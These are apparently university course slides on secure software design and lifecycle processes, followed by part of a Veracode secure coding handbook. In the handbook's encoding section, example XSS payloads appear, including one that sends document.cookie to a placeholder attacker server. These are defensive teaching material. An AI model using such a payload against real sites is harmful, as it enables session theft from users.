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Robust Software

Nuno Silva, PhD, Critical Software SA

E.: npsilva@ua.pt; M: 932574030

Mestrado em Cibersegurança



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


Me

- Nuno Silva
- Technical Manager / Safety Manager @ Critical Software SA
- Contacts:
- e.: npsilva@ua.pt skype: npsilva
- linkedin: <https://www.linkedin.com/in/nunopedrojesussilva>
- t.: 932574030



Robust Software



[Adobe Flash Shutdown Halts Chinese Railroad for Over 16 Hours Before Pirated Copy Restores Ops \(thedrive.com\)](https://thedrive.com)

Objectives

- To know techniques for developing robust software.
- To evaluate and test the security of software.
- To avoid typical errors in development.
- To know static and dynamic analysis techniques.
- To be able to develop and operate applications with security requirements.
- To know international standards.

Topics

Secure software design principles

Software security lifecycle

Software quality attributes

Security requirements

Common software attacks

Safe programming to avoid common errors (CWE)

Actions traceability

Static analysis techniques



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Topics

Fuzzy dynamic analysis techniques (fuzzing)

Security tests (black box and white box) and validation

Safe development and operations techniques (DevSecOps)

Specific aspects of common languages

Side-channels

Safety Standards and systems certification

Relations between safety and security

Exercises



Method

- Classes (theoretical part)
- Student Exploration / Exercises (Groups of 3)
- Class discussions


- UA Classes
- 7 Classes: Every 2 weeks/Saturdays (9-11, 11-13 and 14-16)*
- Of course, there is a break in the middle (remind me of that!)
- *canteen opens at 13:00

Schedule



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Schedule

- Classes:

- **1/2** - 16-09-2023
- **3/4** - 30-19-2023
- **5/6** - 14-10-2023
- **7/8** - 28-10-2023
- **9/10** - 11-11-2023
- **11/12** - 25-11-2023
- **13/14** - 9-12-2023

Morning: Theoretical
Afternoon: Practical / Team Work

Calendário de Exames por Disciplina ou Departamento

Pesquisa por departamento	Pesquisa por disciplina
<input type="text" value="Selecione um departamento"/>	<input type="text" value="Introduza o(s) código(s) da(s) disciplina(s) a pesquisar, separados por ;"/>
<input type="button" value="Pesquisar Por Departamento"/>	<input type="button" value="Pesquisar Por Disciplina"/>

Dia	Hora	Sala	Código	Discip.	Tipo Insc	Ex.	Dep.	Nº	Alte rada
07-09-2023	15:00	_	41779	SOFTWARE ROBUSTO	NM	DZ	DET	0	
Legenda: 1 - 1ª Chamada; 2 - 2ª Chamada; RE - Exame em época de Recurso; DZ - Exame em Época Especial									

- Final Exam:

14/01/2024 14:00 /
01/02/2024 14:00



Evaluation

- Exercises / Practical Exploration Work : 50% of the final grade
 - 4 or 5 exercises (individual + team work)
- Exam: 50% of the final grade



7 Rules

- #1: Be on time
- #2: Don't answer your phone
- #3: No texting
- #4: No web browsing (unless specifically asked or topic related)
- #5: Respect each other
- #6: Discuss the problem, not the person
- #7: Be active, take notes, ask questions!



Q&A



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Secure Software Design Principles

Nuno Silva, PhD, Critical Software SA

E.: npsilva@ua.pt; M: 932574030

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Agenda

- Motivation
- Objectives
- Secure and Resilient/Robust Software
- Security and Resilience in the Software Development Life Cycle
- Best Practices for Resilient Applications
- Designing Applications for Security and Resilience
- Architecting for the Web/Cloud
- Design Best Practices
- One Resource to Explore
- References



Motivation

- Original focus: network system level security strategies (e.g. firewalls), and reactive approaches to software security ('penetrate and patch' strategy), security is assessed when the product is complete via penetration testing by attempting known attacks or (worst) vulnerabilities are discovered post release.
- Breaches are expensive (in the order of millions per breach / reputation...)
- Attackers can find and exploit vulnerabilities without being noticed (it takes months to detect and fix)
- Patches can introduce new vulnerabilities or other issues (rushing is never good)
- Patches often go unapplied by customers
- <https://www.synopsys.com/blogs/software-security/cost-data-breach-2019-most-expensive/>
- <https://www.kiuwan.com/blog/most-expensive-security-breaches/>





Objectives

- Integrate security concerns as part of the product design
- Be aware of existing design practices
- Know how to apply and validate secure design applications
- Take advantage of best practices





Secure and Resilient/Robust Software

- Characteristics:
 - Functional and Nonfunctional Requirements
 - Testing Nonfunctional Requirements
 - Families of Nonfunctional Requirements
 - Availability
 - Capacity
 - Efficiency
 - Interoperability
 - Manageability
 - Cohesion
 - Coupling



Secure and Resilient/Robust Software

- Characteristics:
 - Families of Nonfunctional Requirements (cont'd):
 - Maintainability
 - Performance
 - Portability
 - Privacy
 - Recoverability
 - Reliability
 - Scalability
 - Security
 - Serviceability/Supportability
 - Safety





Secure and Resilient/Robust Software

- Who am I?
- “ability of technical support personnel to install, configure, and monitor computer products, identify exceptions or faults, debug or isolate faults to root cause analysis, and provide hardware or software maintenance in pursuit of solving a problem and restoring the product into service.”
- It is one of the –ilities!



Secure and Resilient/Robust Software



- Characteristics:
 - “Good” Requirements
 - Eliciting Nonfunctional Requirements
 - Documenting Nonfunctional Requirements
 - Verifying, Validating (eventually qualifying or certifying)
 - Identifying Restrictions, and
 - Documenting...
- We could say that proper requirements are the most important design principle


asked groomer to shave a heart on my
dogs butt... what I expected vs what I
got



Security and Resilience in the Software Development Life Cycle

There is a module dedicated to this topic, covering:

- Training
- Requirements Gathering and Analysis
- Design and Design Reviews
- Development
- Testing
- Deployment



Best Practices for Resilient Applications

1. Apply Defense in Depth
2. Use a Positive Security Model
3. Fail Securely
4. Run with Least Privilege
5. Avoid Security by Obscurity
6. Keep Security Simple
7. Detect Intrusions
 1. Log All Security-Relevant Information
 2. Ensure That the Logs Are Monitored Regularly
 3. Respond to Intrusions
8. Don't Trust Infrastructure
9. Don't Trust Services
10. Establish Secure Defaults

IEEE Standard Glossary of Software Engineering Terminology, IEEE Std 610.12-1990 defines robustness as "**The degree to which a system or component can function correctly in the presence of invalid inputs or stressful environmental conditions**"

Designing Applications for Security and Resilience

- Design Phases Recommended (risk/hazard → requirements)
 - Misuse Case Modeling
 - Security Design and Architecture Review
 - Threat and Risk Modeling
 - Risk Analysis and Modeling
 - Security Requirements and Test Case Generation
- Design to Meet Nonfunctional Requirements (worst case)
- Design Patterns (proven templates for solving issues)
- Architecting for the Web/Cloud (particular attack surface)
- Architecture and Design Review Checklist (common problems)

Designing Applications for Security and Resilience

Detection

Isolation

Recovery
(Graceful)



Architecting for the Web/Cloud

- Why Design for Failure when Nothing Fails? (everything fails...)
- **Build Security in all layers** (do not trust)
- Leverage alternative processing/storage (redundancy pays off)
- Implement elasticity (flexibility, scalability, easy restart)
- Think parallel (decoupling data from computation, load balancing, distribution)
- Loose coupling helps (do not reinvent the wheel, use existing solutions)
- Don't fear constraints, solve them (memory, CPU, distribution, ...)
- Use Caching (performance)




Design Best Practices – Web/Cloud

- Input Handling Validation
- Prevent Cross-Site Scripting
- Prevent SQL Injection Attacks
- Apply Authentication
- Cross-Site Request Forgery Mitigation
- Session Management (log-out or cookie attacks)
- Protect access control attacks (admin interfaces)
- Use Cryptography



Design Best Practices – Web/Cloud

- What is Cross-site ...?
- XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.
- XSRF is a type of malicious exploit of a website where unauthorized commands are submitted from a user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests, for example, can all work without the user's interaction or even knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.





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


Design Best Practices – Web/Cloud

- Apply Error Handling
- Protect against known attacks (e.g. AJAX or Flash)
- Initialize Variables Properly
- Do Not Ignore Values Returned by Functions
- Avoid Integer Overflows

**Adobe Flash Shutdown Halts
Chinese Railroad for Over 16 Hours
Before Pirated Copy Restores Ops**


This is what happens when you RUN A RAILROAD NETWORK ON FLASH.





Design Best Practices - Security

- From “Secure Coding Best Practices Handbook, Veracode”:
 - #01: Verify for Security Early and Often
 - #02: Parameterize Queries
 - #03: Encode Data
 - #04: Validate All inputs
 - #05: Implement Identity and Authent. Controls
 - #06: Implement Access Controls
 - #07: Protect Data
 - #08: Implement Logging and Intrusion Detection
 - #09: Leverage Security Frameworks and Libraries
 - #10: Monitor Error and Exception Handling



Design Best Practices - Security

- **These practices apply to all types of systems**
- Back in the 1990's a major US provider had a communications product used for Emergency Calls
- Suddenly, the calls would drop and the base station would go down
- Base stations had to be fully restarted for the service to be re-established in the area (~40 minutes downtime)
- Daily meetings with US and Canada stakeholders were started to investigate the occurrences and solve the issue
- Data replication problem (input data) associated with a configuration issue in a switch




Design Best Practices - Security

- Data packets (from calls) where being duplicated to be dispatched as normal (1 to many)
- However, suddenly, one packet would be replicated in 2, 4, 8, 16, 32, 64, 128, 256, 512 and so on until the maximum product capacity was reached
- The base station could not handle infinite replication of voice data
- A switch configuration during a maintenance action lead to the “eternal” replication of some packets...
- Until the base station crashed.

Design Best Practices - Security

- A modified design was requested to the duplication product
- It would not prevent maintenance (switch configuration) or operations (DoS) problems, but
- It would detect the same voice packet being duplicated after 2 times
- It would monitor processor load / apply load shedding up to around 70%
- Then it would drop the call causing the issue, and only that one
- This is the type of issues that involves a lot of the previous best practices (data validation, intrusion detection, error handling)

Design Best Practices - Security





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One Resource to explore

- <https://cheatsheetseries.owasp.org>



Life is too short • AppSec is tough • Cheat!



One Resource to explore

- [Index Top 10 - OWASP Cheat Sheet Series](#)
 - [A01:2021 – Broken Access Control](#)
 - [A02:2021 – Cryptographic Failures](#)
 - [A03:2021 – Injection](#)
 - [A04:2021 – Insecure Design](#)
 - [A05:2021 – Security Misconfiguration](#)
 - [A06:2021 – Vulnerable and Outdated Components](#)
 - [A07:2021 – Identification and Authentication Failures](#)
 - [A08:2021 – Software and Data Integrity Failures](#)
 - [A09:2021 – Security Logging and Monitoring Failures](#)
 - [A10:2021 – Server-Side Request Forgery \(SSRF\)](#)



One Resource to explore

Cheatsheets

AJAX Security

Abuse Case

Access Control

Application Logging Vocabulary

Attack Surface Analysis

Authentication

Authorization

Authorization Testing Automation

Bean Validation

C-Based Toolchain Hardening

Choosing and Using Security Questions

Clickjacking Defense

Content Security Policy

Credential Stuffing Prevention

Cross-Site Request Forgery Prevention

Cross Site Scripting Prevention

Cryptographic Storage

DOM based XSS Prevention

Database Security

Denial of Service

Deserialization

Docker Security

DotNet Security

Error Handling

File Upload

Forgot Password

GraphQL

HTML5 Security

HTTP Strict Transport Security

This page is still under construction !!! PRs are welcome!

Objective

The [OWASP Top Ten](#) is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

This cheat sheet will help users of the [OWASP Top Ten](#) identify which cheat sheets map to each security risk. This mapping is based the [OWASP Top Ten 2021 version](#).

A01:2021 – Broken Access Control

[Access Control Cheat Sheet](#)

A02:2021 – Cryptographic Failures

A03:2021 – Injection

A04:2021 – Insecure Design

A05:2021 – Security Misconfiguration

A06:2021 – Vulnerable and Outdated Components

[Vulnerable Dependency Management Cheat Sheet](#)

[Third Party JavaScript Management Cheat Sheet](#)

References

- Open Web Application Security Project (OWASP) Cheat Sheet Series (<https://cheatsheetseries.owasp.org>)
- Secure Coding Best Practices Handbook – A developer's Guide to proactive controls, Veracode



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The End

- Next up: Software security lifecycle





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Software security lifecycle

Nuno Silva, PhD, Critical Software SA

E.: npsilva@ua.pt; M: 932574030

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Agenda

- Motivation
- Objectives
- Secure SW Lifecycle Processes
- Secure SW Lifecycle Processes Summary
- Assessing the Secure Software Lifecycle
- Benefits
- References



Motivation

- One intrinsic motivation to security is “self-improvement”, where the developer challenges one-self to write secure code. “Sometimes I will have the challenge, that ‘okay, this time I’m going to submit [my code] for a review where nobody will give me a comment’.”
- Professional responsibility and concern for users are two extrinsic motivations, where the action is not performed for its inherent enjoyment, but rather to fulfill what the developer views as their responsibility to their profession and to safeguard users’ privacy and security. “I would not feel comfortable with basically having something used by end users that I didn’t feel was secure, or I didn’t feel respective of privacy, umm so I would try very hard to not compromise on that.”

Motivation

- Lack of resources and the lack of support are two factors that led to a perceived lack of competence to address software security. “We don’t have that much manpower to explicitly test security vulnerabilities, [...] we don’t have those kind of resources. But ideally if we did have [a big] company, I would have a team dedicated to find exploits. But unfortunately we don’t.”
- Lack of interest, relevance, or value of performing security tasks. The lack of relevance could happen when security is not considered one of the developer’s everyday duties (not my responsibility), or when security is viewed as another entity’s responsibility (security is handled elsewhere), such as another team or team-member. “I don’t really trust [my team members] to run any kind of, like, source code scanners or anything like that. I know I’m certainly not going to.”
- Ref: Motivations and Amotivations for Software Security, Halla Assal, Sonia Chiasson, Carleton Univ., Canada, <https://wsiw2018.l3s.uni-hannover.de/papers/wsiw2018-Assal.pdf>, visited: 12-10-2020.

Objectives


- Consider security concerns as early as possible in the development process.
- Be aware of trends in software change management
- Control application security management
- Be able to apply the security life cycle
- Make security part of SW Engineering, part of the culture.





Secure SW Lifecycle Processes


- Three “Good” Examples:
 - Microsoft Security Development Lifecycle (SDL)
 - Software Security Touchpoints
 - Software Assurance Forum for Excellence in Code (SAFECode)





SDL

SDL Timeline



Ref: <https://www.microsoft.com/en-us/securityengineering/sdl>



SDL

1. Cyber security related training
2. Elicitation of explicit Security Requirements
3. Define Metrics, Report Compliance
4. **Apply Threat Modelling** (security risks analysis)
5. **Establish Design Requirements**
6. Define and use Cryptography Standards




SDL

7. Manage Security Risk when Using 3rd Party Components
8. Use Approved Tools
9. Perform Static Analysis Security Testing (SAST)
10. Perform Dynamic Analysis Security Testing (DAST)
11. Perform Penetration Testing
12. Establish a Standard Incident Response Process



SDL::Overview





SDL::Apply Threat Modelling

- STRIDE approach
 - Spoofing Identity (pretend to be someone else)
 - Tampering with data (malicious modification of data)
 - Repudiation (denying performance of an action)
 - Information Disclosure (exposure of classified info)
 - Denial of Service (service unavailable or unusable)
 - Elevation of privilege (access to more elevated privileges)
- STRIDE, Attack trees, Architectural Risk Analysis help in enumerating threats and act upon the design to eliminate or control the impacts.

SDL::Apply Threat Modelling

- 1. List Assets / Components;
- 2. Identify Threats (e.g. with data flow diagrams);
- 3. Identify and Classify (STRIDE) the vulnerabilities;

DFD Element	S	T	R	I	D	E
Entity	✓		✓			
Data Flow		✓		✓	✓	
Data Store		✓	✓	✓	✓	
Process	✓	✓	✓	✓	✓	✓

- Ref: DFD element mapping to the STRIDE Framework (Khan, Rafiullah & Mclaughlin, Kieran & Laverty, David & Sezer, Sakir., 2017)

SDL::Apply Threat Modelling

- More reading on STRIDE:
 - Mahmood, Haider, (2017). *Application Threat Modeling using DREAD and STRIDE*. Accessed 12-10-2020 at <https://haiderm.com/application-threat-modeling-using-dread-and-stride>.
 - Khan, R., McLaughlin, K., Laverty, D., & Sezer, S. (2018). STRIDE-based Threat Modeling for Cyber-Physical Systems. In 2017 IEEE PES: Innovative Smart Grid Technologies Conference Europe (ISGT-Europe): Proceedings IEEE . DOI: 10.1109/ISGTEurope.2017.8260283




SDL::Establish Design Requirements

- Not only guide the implementation of design features, but also be resistant to known threats
- Saltzer and Schroeder security principles:
 - Economy of mechanism (KISS)
 - Fail-safe defaults (failure = lack of access)
 - Complete mediation (apply constant authorizations)
 - Open design (use of keys and passwords)
 - Separation of privilege (multiple keys, if possible)
 - Least privilege (only the needed set of privileges)
 - Least common mechanism (minimize common mechanisms)
 - Psychological acceptability (user interface shall help)

SDL::Establish Design Requirements

- Complementary to Saltzer and Schroeder security principles:
 - Defense in depth (redundancy in security)
 - Design for updating (security patches shall be easy)
- Selection of security features, such as cryptography, authentication and logging to reduce the risks identified through threat modelling;
- Reduction of the attack surface (M. Howard, “Fending off future attacks by reducing attack surface,” MSDN Magazine, February 4, 2003. Accessed 12-10-2020 at <https://msdn.microsoft.com/en-us/library/ms972812.aspx>)





SDL::Establish Design Requirements

- IEEE Center for Secure Design top 10 security flaws:
 - Earn or give, but never assume, trust.
 - Use an authentication mechanism that cannot be bypassed or tampered with.
 - Authorize after you authenticate.
 - Strictly separate data and control instructions, and never process control instructions received from untrusted sources.
 - Define an approach that ensures all data are explicitly validated.
 - Use cryptography correctly.
 - Identify sensitive data and how they should be handled.
 - Always consider the users.
 - Understand how integrating external components changes your attack surface.
 - Be flexible when considering future changes to objects and actors.

SDL::Perform Dynamic Analysis Security Testing (DAST)

- Run-time verification of compiled or packaged software to check functionality that is only apparent when all components are integrated and running.
- Use of a suite of pre-built attacks and malformed strings that can detect memory corruption, user privilege issues, injection attacks, and other critical security problems.
- May employ fuzzing, an automated technique of inputting known invalid and unexpected test cases at an application, often in large volume.
- Similar to SAST, can be run by the developer and/or integrated into the build and deployment pipeline as a check-in gate.
- DAST can be considered to be automated penetration testing.
- See also Section 3.2 (Dynamic Detection) in the Software Security knowledge area in the Cyber Security Body of Knowledge (see refs).

SDL::Perform Dynamic Analysis Security Testing (DAST)

- Example of commonly used tool: <https://lcamtuf.coredump.cx/afl/>

american fuzzy lop 0.47b (readpng)		
process timing		overall results
run time : 0 days, 0 hrs, 4 min, 43 sec		cycles done : 0
last new path : 0 days, 0 hrs, 0 min, 26 sec		total paths : 195
last uniq crash : none seen yet		uniq crashes : 0
last uniq hang : 0 days, 0 hrs, 1 min, 51 sec		uniq hangs : 1
cycle progress	map coverage	
now processing : 38 (19.49%)	map density : 1217 (7.43%)	
paths timed out : 0 (0.00%)	count coverage : 2.55 bits/tuple	
stage progress	findings in depth	
now trying : interest 32/8	favored paths : 128 (65.64%)	
stage execs : 0/9990 (0.00%)	new edges on : 85 (43.59%)	
total execs : 654k	total crashes : 0 (0 unique)	
exec speed : 2306/sec	total hangs : 1 (1 unique)	
fuzzing strategy yields	path geometry	
bit flips : 88/14.4k, 6/14.4k, 6/14.4k	levels : 3	
byte flips : 0/1804, 0/1786, 1/1750	pending : 178	
arithmetics : 31/126k, 3/45.6k, 1/17.8k	pend fav : 114	
known ints : 1/15.8k, 4/65.8k, 6/78.2k	imported : 0	
havoc : 34/254k, 0/0	variable : 0	
trim : 2876 B/931 (61.45% gain)	latent : 0	

SDL::Perform Penetration Testing

- Penetration testing is black box testing of a running system to simulate the **actions of an attacker**.
- To be performed by **skilled security professionals**, internal or external to the organisation, opportunistically simulating the actions of a hacker.
- The objective is to uncover any form of vulnerability - from small implementation bugs to major design flaws resulting from coding errors, system configuration faults, design flaws or other operational deployment weaknesses.
- Tests should attempt both unauthorised misuse of and access to target assets and violations of the assumptions.
- A resource for structuring penetration tests is the OWASP Top 10 Most Critical Web Application Security Risks.
- Penetration testers can be referred to as **white hat hackers** or ethical hackers. In the penetration and patch model, penetration testing was the only line of security analysis prior to deploying a system.

SDL::Establish a Standard Incident Response Process

- Organisations must be prepared for inevitable attacks.
- Preparation of an Incident Response Plan (IRP).
- The plan shall include who to contact in case of a security emergency, establish the protocol for efficient vulnerability mitigation, for customer response and communication, and for the rapid deployment of a fix.
- It shall also include plans for code inherited from other groups within the organisation and for third-party code.
- The plan shall be tested before it is needed!
- Lessons learned (responses to actual attacks) → factored back into the SDL.




Software Security Touchpoints

1. Code Review (Tools)
2. Architectural Risk Analysis
3. Penetration Testing
4. Risk-based Security Testing
5. Abuse Cases (thinking like an attacker)
6. Security Requirements
7. Security Operations (not only at software level)



Touchpoints::Overview



Touchpoints::Architectural Risk Analysis

- Similar to Threat Modelling
- Designers and architects provide a high level view of the target system and documentation for assumptions, and identify possible attacks.
- McGraw proposes 3 main steps for risk analysis:
 - Attack resistance analysis (explore known threats)
 - Ambiguity analysis (discover new risks)
 - Weakness analysis (explore 3rd party assumptions)




Software Assurance Forum for Excellence in Code (SAFECode)

1. Application Security Control Definition (security requirements)
2. Design
3. Secure Coding Practices (code standards, safe languages)
4. Manage Security Risk Inherent in the Use of 3rd party Components
5. Testing and Validation
6. Manage Security Findings (from previous steps)
7. Vulnerability Response and Disclosure (no perfectly secure product)
8. Planning the Implementation and Deployment of Secure Development (plan at organization level)



SAFECode::Overview



Secure SW Lifecycle Processes Summary

Phase	Microsoft SDL	McGraw Touchpoints	SAFECode
Education and awareness	Provide training		Planning the implementation and deployment of secure development
Project inception	Define metrics and compliance reporting Define and use cryptography standards Use approved tools		Planning the implementation and deployment of secure development
Analysis and requirements	Define security requirements Perform threat modelling	Abuse cases Security requirements	Application security control definition
Architectural and detailed design	Establish design requirements	Architectural risk analysis	Design
Implementation and testing	Perform static analysis security testing (SAST) Perform dynamic analysis security testing (DAST) Perform penetration testing Define and use cryptography standards Manage the risk of using third-party components	Code review (tools) Penetration testing Risk-based security testing	Secure coding practices Manage security risk inherent in the use of third-party components Testing and validation
Release, deployment, and support	Establish a standard incident response process	Security operations	Vulnerability response and disclosure



Adaptations of the Secure Software Lifecycle

- CyBok (see references) contains hints for:
 - Agile Software Development and DevOps
 - Mobile
 - Cloud Computing
 - Internet of Things (IoT)
 - Road Vehicles
 - ECommerce/Payment Card Industry
- In summary it can be used almost in any type of project.



Assessing the Secure Software Lifecycle

- There are different assessment approaches to evaluate the maturity of secure development lifecycle:
 - Software Assurance Maturity Model (SAMM)
 - Building Security In Maturity Model (BSIMM)
 - Common Criteria (CC)

SAMM

- Assessment of a development process
 - 1. Define and measure security-related activities within an organisation.
 - 2. Evaluate their existing software security practices.
 - 3. Build a balanced software security program in well-defined iterations.
 - 4. Demonstrate improvements in a security assurance program.
- Uses 12 security practices grouped into one of 4 business functions:

- Governance
- Construction
- Verification
- Deployment


0	Implicit starting point representing the activities in the practice being unfulfilled
1	Initial understanding and adhoc provision of security practice
2	Increase efficiency and/or effectiveness of the security practice
3	Comprehensive mastery of the security practice at scale

- Provides an organisation maturity level (0 to 3).
- Ref.: https://owasp.org/www-pdf-archive/SAMM_Core_V1-5_FINAL.pdf



BSIMM

- Assessment of a development process based on SAMM
- Uses 12 security practices grouped into one of 4 business functions:
 - Governance
 - Intelligence
 - Secure software development lifecycle touchpoints
 - Deployment
- Provides comparison to other BSIMM assessed companies
- Ref.: <https://www.bsimm.com/>



CC

- Provides means for international recognition of a secure information technology
- Authorised Certification/Validation Body
- Reuse of Certified/Validates products with no further evaluation
- Based on Evaluation Assurance Levels (EAL):
 - 1 Functionally tested
 - 2 Structurally tested
 - 3 Methodically tested and checked
 - 4 Methodically designed, tested and reviewed
 - 5 Semi-formally designed and tested
 - 6 Semi-formally verified design and tested
 - 7 Formally verified design and tested
- Ref.: <https://www.commoncriteriaportal.org/>



Recommendations

- **Think of security** early and often.
- Adopt a **software development model** to help define your organization's development activities and flow.
- **Define activities** for each phase in your model.
- Ensure all developers are **trained** to develop secure applications.
- **Validate** your software product at the end of every phase.
- Do not begin a software development project by writing code—**plan, specify and design first**.
- Keep the three SDL core concepts in focus—**education, continuous improvement, and accountability**.
- Develop **tests** to ensure each component of your application meets **security requirements**.

References

- Trustworthy Software Foundation (<https://tsfdn.org/resource-library/>)
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- Software Engineering Institute (SEI) (<https://www.sei.cmu.edu/education-outreach/curricula/software-assurance/index.cfm>)
- SAFECode free software security training courses (<https://safecode.org/training/>)

References

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Critical
software

The End

- Next up: Software Quality Attributes



SECURE CODING BEST PRACTICES HANDBOOK

A DEVELOPER'S GUIDE
TO PROACTIVE CONTROLS

SECURITY SKILLS ARE NO LONGER OPTIONAL FOR DEVELOPERS

As cybersecurity risks steadily increase, application security has become an absolute necessity. That means secure coding practices must be part of every developer's skill set. How you write code, and the steps you take to update and monitor it, have a big impact on your applications, your organization, and your ability to do your job well.

This guide will give you practical tips in using secure coding best practices. It's based on the OWASP Top 10 Proactive Controls — widely considered the gold standard for application security — but translated into a concise, easy-to-use format. You'll get a brief overview of each control, along with coding examples, actionable advice, and further resources to help you create secure software.

WHAT'S INSIDE

BEST PRACTICES

- #01** Verify for Security Early and Often
- #02** Parameterize Queries
- #03** Encode Data
- #04** Validate All Inputs
- #05** Implement Identity and Authentication Controls
- #06** Implement Access Controls
- #07** Protect Data
- #08** Implement Logging and Intrusion Detection
- #09** Leverage Security Frameworks and Libraries
- #10** Monitor Error and Exception Handling

[ADDITIONAL RESOURCES](#)

Verify for Security Early and Often

It used to be standard practice for the security team to do security testing near the end of a project and then hand the results over to developers for remediation. But tackling a laundry list of fixes just before the application is scheduled to go to production isn't acceptable anymore. It also increases the risk of a breach. You need the tools and processes for manual and automated testing during coding.

SECURITY TIPS

- Consider the OWASP Application Security Verification Standard as a guide to define security requirements and generate test cases.
- Scrum with the security team to ensure testing methods fix any defects.
- Consider data protections from the beginning. Include security up front when agreeing upon the definition of “done” for a project.
- Build proactive controls into stubs and drivers.
- Integrate security testing in continuous integration to create fast, automated feedback loops.

BONUS PRO TIP

Add a security champion to each development team.

A security champion is a developer with an interest in security who helps amplify the security message at the team level. Security champions don't need to be security pros; they just need to act as the security conscience of the team, keeping their eyes and ears open for potential issues. Once the team is aware of these issues, it can then either fix the issues in development or call in your organization's security experts to provide guidance.

[Learn more](#)

RISKS ADDRESSED



All the OWASP
Top 10 Risks

SOLUTIONS

- ➔ Veracode Application Security Platform
- ➔ Veracode Greenlight

RESOURCES

- ➔ OWASP Application Security Verification Standard Project
- ➔ OWASP Testing Guide

Parameterize Queries

SQL injection is one of the most dangerous application risks, partly because attackers can use open source attack tools to exploit these common vulnerabilities. You can control this risk using query parameterization. This type of query specifies placeholders for parameters, so the database will always treat them as data, rather than part of a SQL command. You can use prepared statements, and a growing number of frameworks, including Rails, Django, and Node.js, use object relational mappers to abstract communication with a database.

SECURITY TIPS

- Parameterize the queries by binding the variables.
- Be cautious about allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.
- Defend against SQL injection using proper database management system configuration.

EXAMPLES | Query parameterization

Example of query parameterization in Java

```
String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setInt(2, id);
```

Example of query parameterization in C#.NET

```
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
```

RISKS ADDRESSED



SOLUTION

➔ Veracode Static Analysis

RESOURCES

- ➔ Veracode SQL Injection Cheat Sheet
- ➔ SQL Injection Attacks and How to Prevent Them Infographic
- ➔ OWASP Query Parameterization Cheat Sheet

Encoding translates potentially dangerous special characters into an equivalent form that renders the threat ineffective. This technique is applicable for a variety of platforms and injection methods, including UNIX command encoding, Windows command encoding, and cross-site scripting (XSS). Encoding addresses the three main classes of XSS: persistent, reflected, and DOM-based.

SECURITY TIPS

- Treat all data as untrusted, including dynamic content consisting of a mix of static, developer-built HTML/JavaScript, and data that was originally populated with user input.
- Develop relevant encoding to address the spectrum of attack methods, including injection attacks.
- Use output encoding, such as JavaScript hex encoding and HTML entity encoding.
- Monitor how dynamic webpage development occurs, and consider how JavaScript and HTML populate user input, along with the risks of untrusted sources.

EXAMPLES | Cross-site scripting

Example XSS site defacement

```
<script>document.body.innerHTML("Jim was here");</script>
```

Example XSS session theft

```
<script>  
var img = new Image();  
img.src="http://<some evil server>.com?" + document.cookie;  
</script>
```

RISKS ADDRESSED



SQL
injection



Cross-site
scripting



Client-side
injection

SOLUTION

- ➔ Veracode Dynamic Analysis
- ➔ Veracode Static Analysis

RESOURCES

- ➔ Veracode Cross-Site Scripting (XSS) Tutorial
- ➔ OWASP XSS Filter Evasion Cheat Sheet
- ➔ OWASP DOM based XSS Prevention Cheat Sheet

Validate All Inputs

It's vitally important to ensure that all data is syntactically and semantically valid as it arrives and enters a system. As you approach the task, assume that all data and variables can't be trusted, and provide security controls regardless of the source of that data. Valid syntax means that the data is in the form that's expected — including the correct number of characters or digits. Semantic validity means that the data has actual meaning and is valid for the interaction or transaction. Whitelisting is the recommended validation method.

SECURITY TIPS

- Assume that all incoming data is untrusted.
- Develop whitelists for checking syntax. For example, regular expressions are a great way to implement whitelist validation, as they offer a way to check whether data matches a specific pattern.
- Make sure input validation takes place exclusively on the server side. This extends across multiple components, including HTTP headers, cookies, GET and POST parameters (including hidden fields), and file uploads. It also encompasses user devices and back-end web services.
- Use client-side controls only as a convenience.

EXAMPLE | Validating email

PHP technique to validate an email user and sanitize illegitimate characters

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.\n";
}
```

RISKS ADDRESSED



SQL
injection



Cross-site
scripting



Unvalidated redirects
and forwards

SOLUTION

➔ Veracode Static Analysis

RESOURCE

➔ OWASP Input Validation Cheat Sheet

Implement Identity and Authentication Controls

You can avoid security breaches by confirming user identity up front and building strong authentication controls into code and systems. These controls must extend beyond a basic username and password. You'll want to include both session management and identity management controls to provide the highest level of protection.

SECURITY TIPS

- Use strong authentication methods, including multi-factor authentication, such as FIDO or dedicated apps.
- Consider biometric authentication methods, such as fingerprint, facial recognition, and voice recognition, to verify the identity of users.
- Implement secure password storage.
- Implement a secure password recovery mechanism to help users gain access to their account if they forget their password.
- Establish timeout and inactivity periods for every session.
- Use re-authentication for sensitive or highly secure features.
- Use monitoring and analytics to spot suspicious IP addresses and machine IDs.

EXAMPLE | Password hashing

in PHP using `password_hash()` function (available since 5.5.0) which defaults to using the `bcrypt` algorithm. The example uses a work factor of 15.

```
<?php
$cost = 15;
$password_hash = password_hash("secret_password", PASSWORD_DEFAULT, ["cost" => $cost]);
?>
```

RISKS ADDRESSED



Broken authentication
and session management

SOLUTIONS

➔ Veracode Dynamic Analysis

RESOURCES

- ➔ OWASP Authentication Cheat Sheet
- ➔ OWASP Password Storage Cheat Sheet
- ➔ OWASP Session Management Cheat Sheet

Implement Access Controls

You can dramatically improve protection and resiliency in your applications by building authorization or access controls into your applications in the initial stages of application development. Note that authorization is not the same as authentication. According to OWASP, authorization is the “process where requests to access a particular feature or resource should be granted or denied.” When appropriate, authorization should include a multi-tenancy and horizontal (data specific) access control.

SECURITY TIPS

- Use a security-centric design, where access is verified first. Consider using a filter or other automated mechanism to ensure that all requests go through an access control check.
- Consider denying all access for features that haven’t been configured for access control.
- Code to the principle of least privilege. Allocate the minimum privilege and time span required to perform an action for each user or system component.
- Separate access control policy and application code, whenever possible.
